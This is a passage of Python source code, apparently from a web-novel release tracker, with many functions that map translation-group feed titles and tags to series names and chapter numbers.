		'CCM Chapter' in item['title'] or \
		'Close Combat Mage Chapter' in item['title']:
		return buildReleaseMessage(item, 'Close Combat Mage', vol, chp)
	if 'IoR Book' in item['title'] or \
		'IoR B' in item['title'] or \
		'Inch of Radiance Book' in item['title'] or \
		'Inch of Radiance Chapter' in item['title']:
		return buildReleaseMessage(item, 'Inch of Radiance', vol, chp)
	if 'World of Immortals Chapter' in item['title']:
		return buildReleaseMessage(item, 'World of Immortals', vol, chp)
	if 'Perfect World Chapter' in item['title'] or \
		'PW Chapter' in item['title']:
		return buildReleaseMessage(item, 'Perfect World', vol, chp)

	return False




####################################################################################################################################################
def extractShinTranslations(item):
	'''
	# Shin Translations

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])
	if 'THE NEW GATE' in item['tags'] and not 'Status Update' in item['tags']:
		if chp and vol and frag:
			return buildReleaseMessage(item, 'The New Gate', vol, chp, frag=frag)
	return False



####################################################################################################################################################
def extractScryaTranslations(item):
	'''
	# Scrya Translations

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])

	if "So What if It's an RPG World!?" in item['tags']:
		return buildReleaseMessage(item, "So What if It's an RPG World!?", vol, chp, frag=frag)

	if 'My Disciple Died Yet Again' in item['tags']:
		return buildReleaseMessage(item, 'My Disciple Died Yet Again', vol, chp, frag=frag)

	return False



####################################################################################################################################################

def extractSkythewood(item):
	'''
	# Skythewood translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Altina the Sword Princess' in item['tags']:
		return buildReleaseMessage(item, 'Haken no Kouki Altina', vol, chp, frag=frag)
	if 'Overlord' in item['tags']:
		# Lots of idiot-checking here, because there are a
		# bunch of annoying edge-cases I want to work around.
		# This will PROBABLY BREAK IN THE FUTURE!
		if "Drama CD" in item['title'] or \
			"Track" in item['title'] or   \
			not "Volume" in item['title']:
			return None

		return buildReleaseMessage(item, 'Overlord', vol, chp, frag=frag, postfix=postfix)
	if 'Gifting the wonderful world' in item['tags']:
		return buildReleaseMessage(item, 'Gifting the Wonderful World with Blessings!', vol, chp, frag=frag)
	if "Knight's & Magic" in item['tags']:
		return buildReleaseMessage(item, 'Knight\'s & Magic', vol, chp, frag=frag)
	if "Gate" in item['tags']:
		return buildReleaseMessage(item, 'Gate - Thus the JSDF Fought There!', vol, chp, frag=frag)
	if 'Genocide Reality' in item['tags']:
		return buildReleaseMessage(item, 'Genocide Reality', vol, chp, frag=frag)
	if 'Youjo Senki' in item['tags']:
		return buildReleaseMessage(item, 'Youjo Senki', vol, chp, frag=frag)
	if 'Gifting' in item['tags']:
		return buildReleaseMessage(item, 'Gifting the wonderful world with blessings!', vol, chp, frag=frag)
	if 'Manu' in item['tags']:
		return buildReleaseMessage(item, 'Manuscript Screening Boy and Manuscript Submitting Girl', vol, chp, frag=frag)
	if 'Isekai Mahou' in item['tags']:
		return buildReleaseMessage(item, 'Isekai Mahou wa Okureteru!', vol, chp, frag=frag)

	if item['title'].startswith('A Tale of Two Shadows') or item['title'].startswith("The Legend of Faro: A Tale of Two Shadows Chapter"):
		return buildReleaseMessage(item, 'A Tale of Two Shadows', vol, chp, frag=frag)
	if item['title'].startswith('Overlord'):
		return buildReleaseMessage(item, 'Overlord', vol, chp, frag=frag)
	if item['title'].startswith('Hyperion 7'):
		return buildReleaseMessage(item, 'Hyperion 7', vol, chp, frag=frag)
	if item['title'].startswith('I Want A Harem But She Is Very...'):
		return buildReleaseMessage(item, 'I Want A Harem But She Is Very…', vol, chp, frag=frag)
	if item['title'].startswith('Gate of Twilight'):
		return buildReleaseMessage(item, 'Gate of Twilight', vol, chp, frag=frag)

	return False




####################################################################################################################################################
def extractThatGuyOverThere(item):
	'''
	# That Guy Over There

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'wushenkongjian' in item['tags']:
		return buildReleaseMessage(item, 'Wu Shen Kong Jian', vol, chp, frag=frag)

	match = re.search(r'^Le Festin de Vampire – Chapter (\d+)\-(\d+)', item['title'])
	if match:
		chp  = match.group(1)
		frag = match.group(2)
		return buildReleaseMessage(item, 'Le Festin de Vampire', vol, chp, frag=frag)
	return False




####################################################################################################################################################
def extractOtterspaceTranslation(item):
	'''
	# Otterspace Translation

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Elqueeness' in item['title']:
		return buildReleaseMessage(item, 'Spirit King Elqueeness', vol, chp, frag=frag)
	if '[Dark Mage]' in item['title'] or '[DarkMage]' in item['title']:
		return buildReleaseMessage(item, 'Dark Mage', vol, chp, frag=frag)
	if 'Dragon Maken War' in item['title']:
		return buildReleaseMessage(item, 'Dragon Maken War', vol, chp, frag=frag)
	if 'Legend of Legend' in item['title']:
		return buildReleaseMessage(item, 'Legend of Legend', vol, chp, frag=frag)
	if "Seoul Station's Necromancer" in item['title'] or "Seoul Station's Necromancer" in item['tags']:
		return buildReleaseMessage(item, "Seoul Station's Necromancer", vol, chp, frag=frag)

	return False



####################################################################################################################################################
def extractTrippTl(item):
	'''
	# Tripp Translations

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Majin Tenseiki' in item['title']:
		return buildReleaseMessage(item, 'Majin Tenseiki', vol, chp, frag=frag)

	return False


def extractSaiakuTranslationsBlog(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if item['title'].startswith('She Professed Herself The Pupil Of The Wiseman'):
		return buildReleaseMessage(item, 'Kenja no Deshi wo Nanoru Kenja', vol, chp, frag=frag, postfix=postfix)
	return False



####################################################################################################################################################
def extractRaisingTheDead(item):
	'''
	# extractRaisingTheDead

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Isekai meikyuu de dorei harem wo' in item['tags'] \
		or 'Slave harem in the labyrinth of the other world' in item['tags'] \
		or item['title'].startswith("slave harem"):
		return buildReleaseMessage(item, 'Isekai Meikyuu De Dorei Harem wo', vol, chp, frag=frag)

	if 'Shinka no Mi' in item['tags'] or 'Shinka' in item['title']:
		return buildReleaseMessage(item, 'Shinka no Mi', vol, chp, frag=frag)

	if 'Kumo desu ga' in item['tags']:
		return buildReleaseMessage(item, 'Kumo Desu Ga, Nani Ka?', vol, chp, frag=frag)

	if 'Din No Monshou' in item['tags']:
		return buildReleaseMessage(item, 'Din No Monshou', vol, chp, frag=frag)

	if 'Elf Tensei' in item['tags']:
		return buildReleaseMessage(item, 'Elf Tensei Kara no Cheat Kenkoku-ki', vol, chp, frag=frag)

	if 'Smartphone' in item['tags'] or 'Smartphone Chapter' in item['title']:
		return buildReleaseMessage(item, 'Isekai wa Smartphone to Tomoni', vol, chp, frag=frag)

	if 'Tran Sexual Online' in item['tags'] or \
		'Tran Sexual Online' in item['title'] or \
		'Trans Sexual Online' in item['title']:
		return buildReleaseMessage(item, 'Tran Sexual Online', vol, chp, frag=frag)

	if 'Master Of Monsters' in item['title'] or 'Master of Monsters' in item['tags']:
		return buildReleaseMessage(item, 'Master Of Monsters', vol, chp, frag=frag)

	if 'Takami no Kago' in item['tags'] or 'Takami no Kago' in item['title']:
		return buildReleaseMessage(item, 'Takami No Kago', vol, chp, frag=frag)

	if 'Alice Tales' in item['tags']:
		return buildReleaseMessage(item, 'Alice Tale in Phantasmagoria', vol, chp, frag=frag)
	if 'Katte Kita Motoyuusha' in item['tags']:
		return buildReleaseMessage(item, 'Katte Kita Motoyuusha', vol, chp, frag=frag)
	if 'Riot Grasper' in item['tags']:
		return buildReleaseMessage(item, 'Riot Grasper', vol, chp, frag=frag)

	if 'E? Heibon Desu Yo??' in item['tags'] \
		or 'Eh? Heibon desu yo??' in item['tags']:
		return buildReleaseMessage(item, 'E? Heibon Desu Yo??', vol, chp, frag=frag)

	if 'Right Grasper' in item['tags']:
		return buildReleaseMessage(item, 'Right Grasper ~Stealing Skills in the Other World~', vol, chp, frag=frag)

	if 'I, with house work and cooking, takes away the backbone of the Demon lord! The peerless house-husband starts from kidnapping!' in item['tags'] \
		or "Demon Lord's Pet" in item['tags']:
		return buildReleaseMessage(item, 'I, with house work and cooking, takes away the backbone of the Demon lord! The peerless house-husband starts from kidnapping!', vol, chp, frag=frag)

	if 'Game nai ni haitte Doragon o hanto' in item['tags'] \
		or item['title'].startswith('(R18) Frequenting Brothels'):
		return buildReleaseMessage(item, 'Game nai ni haitte Dragon o Hanto Shinagara Shokan ni Kayoi Tsumeru Hanashi.', vol, chp, frag=frag)

	if 'Yuusha Ga Onna Da to Dame Desu Ka?' in item['tags']:
		return buildReleaseMessage(item, 'Yuusha Ga Onna Da to Dame Desu Ka?', vol, chp, frag=frag)
	if 'Invincible Magician' in item['tags']:
		return buildReleaseMessage(item, 'Invincible Magician ~ Akashic Record Overwrite~', vol, chp, frag=frag)
	if 'I Said Make My Abilities Average!' in item['tags'] or 'Average Abilities' in item['tags']:
		return buildReleaseMessage(item, 'I Said Make My Abilities Average!', vol, chp, frag=frag)
	if 'Science Shall Prevail over Magic' in item['tags']:
		return buildReleaseMessage(item, 'Science shall Prevail over Magic', vol, chp, frag=frag)

	if 'Is Heaven Supposed To Be Like This?!' in item['tags']:
		return buildReleaseMessage(item, "Is Heaven Supposed to Be Like This?!", vol, chp, frag=frag, tl_type='oel')

	if 'KmF?!' in item['tags']:
		matches = re.search(r'When I returned home, what I found was fantasy!\? (\d+)\-(\d+)', item['title'], flags=re.IGNORECASE)
		if matches:
			vol = float(matches.group(1))
			chp = float(matches.group(2))
			return buildReleaseMessage(item, 'Kaettekite mo Fantasy!?', vol, chp, frag=frag, postfix=postfix)

	return False


####################################################################################################################################################
def extractTensaiTranslations(item):
	'''
	# Tensai Translations

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Spirit Migration' in item['tags']:
		return buildReleaseMessage(item, 'Spirit Migration', vol, chp, frag=frag)

	if 'Tsuyokute New Saga' in item['tags']:
		return buildReleaseMessage(item, 'Tsuyokute New Saga', vol, chp, frag=frag)

	return False



####################################################################################################################################################
def extractThunder(item):
	'''
	# Thunder Translations:

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Stellar Transformations' in item['tags'] and (vol or chp):
		return buildReleaseMessage(item, 'Stellar Transformations', vol, chp, frag=frag, postfix=postfix)
	return False



####################################################################################################################################################
def extractTuShuGuan(item):
	'''
	# 中翻英圖書館 Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'He Jing Kunlun' in item['tags'] and (vol or chp or postfix):
		return buildReleaseMessage(item, 'The Crane Startles Kunlun', vol, chp, frag=frag, postfix=postfix)

	return False


####################################################################################################################################################
def extractSwordAndGame(item):
	'''
	# Sword And Game

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'The Rising of the Shield Hero' in item['tags'] and 'chapter' in [tmp.lower() for tmp in item['tags']]:
		return buildReleaseMessage(item, 'The Rise of the Shield Hero', vol, chp, frag=frag, postfix=postfix)
	if 'Ark' in item['tags'] and (vol or chp or postfix):
		return buildReleaseMessage(item, 'Ark', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractOhanashimi(item):
	'''
	# Ohanashimi

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if ":" in item['title']:
		postfix = item['title'].split(":", 1)[-1]

	if 'Seijo no Kaifuku Mahou' in item['tags']:
		return buildReleaseMessage(item, 'Seijo no Kaifuku Mahou ga Dou Mitemo Ore no Rekkaban na Ken ni Tsuite', vol, chp, frag=frag, postfix=postfix)
	if 'Tate no Yuusha' in item['tags']:
		return buildReleaseMessage(item, 'The Rise of the Shield Hero', vol, chp, frag=frag, postfix=postfix)
	if 'No Fatigue' in item['tags'] or item['title'].lower().startswith("nf: "):
		return buildReleaseMessage(item, 'NO FATIGUE ~24 Jikan Tatakaeru Otoko no Tenseitan~', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractOmegaHarem(item):
	'''
	# Omega Harem Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol):
		return False
	if "preview" in item['title']:
		return False

	title = item['title']
	if 'Destruction Flag Noble Girl Villainess' in title or 'Destruction Flag Otome' in title:
		return buildReleaseMessage(item, 'Destruction Flag Otome', vol, chp, frag=frag, postfix=postfix)
	if 'Demon King Reincarnation' in title:
		return buildReleaseMessage(item, 'I, the Demon King, have become a noble girl villainess? Hah, what a joke.', vol, chp, frag=frag, postfix=postfix)
	if 'Slave Girl –' in title:
		return buildReleaseMessage(item, 'Demotion Trip ~The Magic Girl Swordsman from the Hero’s Party Stumbled into Another World and Became a Slave', vol, chp, frag=frag, postfix=postfix)
	if 'Flight of the Dragon, Dance of the Phoenix' in title:
		return buildReleaseMessage(item, 'Dragon Flies Phoenix Dances', vol, chp, frag=frag, postfix=postfix)
	elif 'Dragon Life' in title:
		return buildReleaseMessage(item, 'Dragon Life', vol, chp, frag=frag, postfix=postfix)
	elif 'World Teacher' in title:
		return buildReleaseMessage(item, 'World Teacher - Isekaishiki Kyouiku Agent', vol, chp, frag=frag, postfix=postfix)
	elif 'jashin sidestory' in title.lower() or 'Jashin Average Side Story' in title:
		return buildReleaseMessage(item, 'Evil God Average – Side Story', vol, chp, frag=frag, postfix=postfix)
	elif 'Heibon' in title:
		return buildReleaseMessage(item, 'E? Heibon Desu yo??', vol, chp, frag=frag, postfix=postfix)
	elif 'eliza chapter' in title.lower():
		if "–" in title and not postfix:
			postfix = title.split("–")[-1]
		return buildReleaseMessage(item, 'I Reincarnated as a Noble Girl Villainess, but why did it turn out this way', vol, chp, frag=frag, postfix=postfix)
	elif 'Villainess Brother Reincarnation' in title:
		return buildReleaseMessage(item, 'Villainess Brother Reincarnation', vol, chp, frag=frag, postfix=postfix)
	elif 'The Black Knight' in title:
		return buildReleaseMessage(item, 'The Black Knight Who Was Stronger than Even the Hero', vol, chp, frag=frag, postfix=postfix)
	elif 'GunOta' in item['tags'] and 're-Translations rehost' in item['tags']:
		item['srcname'] = "Re:Translations"
		return buildReleaseMessage(item, 'Gun-Ota ga Mahou Sekai ni Tensei Shitara, Gendai Heiki de Guntai Harem wo Tsukucchaimashita!?', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractPuttty(item):
	'''
	# putttytranslations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	# Whoooo, tag case typos!
	if any(['god of thunder' == val.lower() for val in item['tags']]) and (vol or chp):
		if ":" in item['title']:
			postfix = item['title'].split(":", 1)[-1]
		return buildReleaseMessage(item, 'God of Thunder', vol, chp, frag=frag, postfix=postfix)
	if 'Beseech the devil'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Beseech the Devil', vol, chp, frag=frag, postfix=postfix)
	if 'Goblin' in item['tags']:
		return buildReleaseMessage(item, 'Goblin', vol, chp, frag=frag, postfix=postfix)
	if 'King of the Eternal Night' in item['tags']:
		return buildReleaseMessage(item, 'King of the Eternal Night', vol, chp, frag=frag, postfix=postfix)
	if 'Martial World' in item['tags']:
		return buildReleaseMessage(item, 'Martial World', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractRisingDragons(item):
	'''
	# Rising Dragons Translation

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'God and Devil World' in item['tags'] and 'Release' in item['tags']:
		return buildReleaseMessage(item, 'Shenmo Xitong', vol, chp, frag=frag, postfix=postfix)
	return False


####################################################################################################################################################
def extractSylver(item):
	'''
	# Sylver Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if "History's Number One Founder" in item['tags']:
		if ":" in item['title']:
			postfix = item['title'].split(":", 1)[-1].strip()
		return buildReleaseMessage(item, "History's Number One Founder", vol, chp, frag=frag, postfix=postfix)
	if 'The Gate of Extinction' in item['tags']:
		if ":" in item['title']:
			postfix = item['title'].split(":", 1)[-1].strip()
		return buildReleaseMessage(item, "The Gate of Extinction", vol, chp, frag=frag, postfix=postfix)
	if "Shura's Wrath" in item['tags'] or "Shura\"s Wrath" in item['tags']:
		if ":" in item['title']:
			postfix = item['title'].split(":", 1)[-1].strip()
		return buildReleaseMessage(item, 'Shura\'s Wrath', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractTomorolls(item):
	'''
	# Tomorolls

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Cicada as Dragon' in item['tags'] or 'Semi Datte Tensei Sureba Ryuu Ni Naru' in item['title']:
		return buildReleaseMessage(item, 'Cicada as Dragon', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractTotokk(item):
	'''
	# Totokk\'s Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	# Lawl, title typo
	if '[SYWZ] Chapter' in item['title'] or '[SWYZ] Chapter' in item['title'] \
		or '[SYWZ]' in item['title'] or 'Shen Yin Wang Zuo, Chapter' in item['title']:
		return buildReleaseMessage(item, 'Shen Yin Wang Zuo', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractTranslationNations(item):
	'''
	# Translation Nations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Stellar Transformation' in item['tags']:
		return buildReleaseMessage(item, 'Stellar Transformations', vol, chp, frag=frag, postfix=postfix)
	if 'The Legendary Thief' in item['tags']:
		return buildReleaseMessage(item, 'Virtual World - The Legendary Thief', vol, chp, frag=frag, postfix=postfix)
	if 'SwallowedStar' in item['tags']:
		return buildReleaseMessage(item, 'Swallowed Star', vol, chp, frag=frag, postfix=postfix)
	if 'God and Devil World' in item['tags']:
		return buildReleaseMessage(item, 'God and Devil World', vol, chp, frag=frag, postfix=postfix)
	if 'Limitless Sword God' in item['tags']:
		return buildReleaseMessage(item, 'Limitless Sword God', vol, chp, frag=frag, postfix=postfix)
	if 'Undefeated God of War' in item['tags']:
		return buildReleaseMessage(item, 'Undefeated God of War', vol, chp, frag=frag, postfix=postfix)
	if 'Path to Heaven' in item['tags']:
		return buildReleaseMessage(item, 'Path to Heaven', vol, chp, frag=frag, postfix=postfix)
	if 'The Ultimate Evolution' in item['tags']:
		return buildReleaseMessage(item, 'The Ultimate Evolution', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith("the ultimate evolution volume") and "Chapter" in item['title']:
		return buildReleaseMessage(item, 'The Ultimate Evolution', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractTonyYonKa(item):
	'''
	# tony-yon-ka.blogspot.com (the blog title is stupidly long)

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Manowa' in item['title'] and chp:
		return buildReleaseMessage(item, 'Manowa Mamono Taosu Nouryoku Ubau Watashi Tsuyokunaru', vol, chp, frag=frag, postfix=postfix)
	if 'Vampire Princess' in item['title'] and chp:
		return buildReleaseMessage(item, 'Kyuuketsu Hime wa Barairo no Yume o Miru', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractRebirthOnlineWorld(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Earth Core' in item['tags']:
		return buildReleaseMessage(item, 'Earth\'s Core', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Jikuu Mahou TL' in item['tags']:
		return buildReleaseMessage(item, 'Jikuu Mahou de Isekai to Chikyuu wo Ittarikitari', vol, chp, frag=frag, postfix=postfix)
	if 'Isekai Shoukan' in item['tags']:
		return buildReleaseMessage(item, 'Isekai Shoukan Makikomu Ijousha', vol, chp, frag=frag, postfix=postfix)
	if 'Magic Bullet' in item['tags']:
		return buildReleaseMessage(item, 'Magic Bullet in Magic Land', vol, chp, frag=frag, postfix=postfix)
	if 'Monster Musume' in item['tags']:
		return buildReleaseMessage(item, 'Monster Musume Harem o Tsukurou!', vol, chp, frag=frag, postfix=postfix)
	if 'Monster Musume' in item['tags']:
		return buildReleaseMessage(item, 'Parameter Remote Controller', vol, chp, frag=frag, postfix=postfix)
	if 'goddess grant me a girlfriend' in item['tags']:
		return buildReleaseMessage(item, 'Goddess Grant me a Girlfriend', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Loiterous' in item['tags']:
		return buildReleaseMessage(item, 'Loiterous', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if "tdadp" in item['title'].lower() or 'To deprive a deprived person episode'.lower() in item['title'].lower():
		if vol and chp:
			vol = None
		return buildReleaseMessage(item, 'To Deprive a Deprived Person', vol, chp, frag=frag, postfix=postfix)
	if "Lazy Dragon".lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Taidana Doragon wa Hatarakimono', vol, chp, frag=frag, postfix=postfix)
	if 'Isekai Ryouridou'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Isekai Ryouridou', vol, chp, frag=frag, postfix=postfix)
	if "Neta Chara".lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Neta Chara', vol, chp, frag=frag, postfix=postfix)
	if "Destination of Crybird".lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Destination of Crybird', vol, chp, frag=frag, postfix=postfix)
	if "Immortal God Emperor".lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Immortal God Emperor', vol, chp, frag=frag, postfix=postfix)
	if "Zombie master".lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Zombie Master', vol, chp, frag=frag, postfix=postfix)
	if "Werewolf chapter".lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Werewolf chapter', vol, chp, frag=frag, postfix=postfix)
	if "Sefiria chap".lower() in item['title'].lower() \
		or "Sefi chap".lower() in item['title'].lower() :
		return buildReleaseMessage(item, 'Sefiria', vol, chp, frag=frag, postfix=postfix)
	if 'Master of Dungeon'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'TMaster of Dungeon', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'TRTS(The Rude Time Stopper)'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'The Rude Time Stopper', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Polymath Redux '.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Polymath Redux', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'The Falcon Immortal'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'The Falcon Immortal', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'The Last Guild'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'The Last Guild: Remastered', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if '[Second Saga] Chapter'.lower() in item['title'].lower() or item['title'].startswith("[SS] "):
		return buildReleaseMessage(item, '[Second Saga]', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Inma no Hado chapter'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Inma no Hado', vol, chp, frag=frag, postfix=postfix)
	if 'Tensei Shoujo no Rirekisho'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Tensei Shoujo no Rirekisho', vol, chp, frag=frag, postfix=postfix)
	if 'TWVUE' in item['tags']:
		return buildReleaseMessage(item, 'Tales of the Wickedly Vicious Underground Empire', vol, chp, frag=frag, postfix=postfix)
	if 'Parallel World Mafia' in item['tags']:
		return buildReleaseMessage(item, 'In A Parallel World With Random Skills, I Reluctantly Become A Mafia Boss?', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'PRC' in item['tags']:
		return buildReleaseMessage(item, 'Parameter Remote Control', vol, chp, frag=frag, postfix=postfix)
	if 'TOWN' in item['tags']:
		return buildReleaseMessage(item, 'The Ability to make town!? ~Let’s make a Japanese Town in Different world~', vol, chp, frag=frag, postfix=postfix)
	if 'Ex-hero' in item['tags']:
		return buildReleaseMessage(item, 'Ex-Hero Candidate’s, who turned out to be a cheat from lv2, laid-back life in Another World', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractRuzeTranslations(item):
	'''
	# Ruze Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Guang Zhi Zi' in item['title'] and (chp or vol):
		return buildReleaseMessage(item, 'Guang Zhi Zi', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractTsuigeki(item):
	'''
	# Tsuigeki Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Seiju no Kuni no Kinju Tsukai' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Seiju no Kuni no Kinju Tsukai', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractUnchainedTranslation(item):
	'''
	# Unchained Translation

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'The Alchemist God' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Ascension of the Alchemist God', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractShikkakuTranslations(item):
	'''
	# Shikkaku Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if "kuro no maou" in item['title'].lower():
		return buildReleaseMessage(item, 'Kuro no Maou', vol, chp, frag=frag, postfix=postfix)
	if 'KENS' in item['tags']:
		return buildReleaseMessage(item, 'Kamigoroshi no Eiyuu to Nanatsu no Seiyaku', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractRhinabolla(item):
	'''
	# Rhinabolla

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Hachi-nan Chapter' in item['title'] and not 'draft' in item['title'].lower():
		return buildReleaseMessage(item, 'Hachinan tte, Sore wa nai Deshou!', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractSotranslations(item):
	'''
	# Supreme Origin Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'hachi-nan chapter' in item['title'].lower() and not 'draft' in item['title'].lower():
		return buildReleaseMessage(item, 'Hachinan tte, Sore wa nai Deshou!', vol, chp, frag=frag, postfix=postfix)

	if 'the devil of an angel chapter' in item['title'].lower() and not 'draft' in item['title'].lower():
		return buildReleaseMessage(item, 'The Devil of an Angel Chapter', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractTurb0(item):
	'''
	# Turb0 Translation

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	extr = re.search(r' ([A-Z])\d+', item['title'], flags=re.IGNORECASE)
	if extr:
		if vol and not chp:
			chp, vol = vol, chp
		ep_key = extr.group(1)
		if ep_key == "S":
			postfix = "Shun chapter"
		elif ep_key == "J" or ep_key == "Y":
			postfix = "Julius chapter"
		elif ep_key == "K":
			postfix = "Katia chapter"
		elif ep_key == "B":
			postfix = "Balto chapter"
	if re.search(r'blood \d+', item['title'], flags=re.IGNORECASE):
		postfix = "Blood Chapter"



	if 'kumo desu ga, nani ka?' in item['title'].lower()     \
		or 'kumo desu ka, nani ga?' in item['title'].lower() \
		or 'kumo desu ga, nani ga?' in item['title'].lower():
		return buildReleaseMessage(item, 'Kumo Desu ga, Nani ka?', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractShiroyukineko(item):
	'''
	# 'Shiroyukineko Translations'

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'DOP' in item['tags'] or 'Descent of the Phoenix: 13 Year Old Princess Consort' in item['tags'] or item['title'].startswith('DOP Chapter'):
		return buildReleaseMessage(item, 'Descent of the Phoenix: 13 Year Old Princess Consort', vol, chp, frag=frag, postfix=postfix)
	if 'LLS' in item['tags'] or 'Long Live Summons!' in item['tags']:
		return buildReleaseMessage(item, 'Long Live Summons!', vol, chp, frag=frag, postfix=postfix)
	if 'VW:UUTS' in item['tags'] or 'Virtual World: Unparalled Under The Sky' in item['tags']:
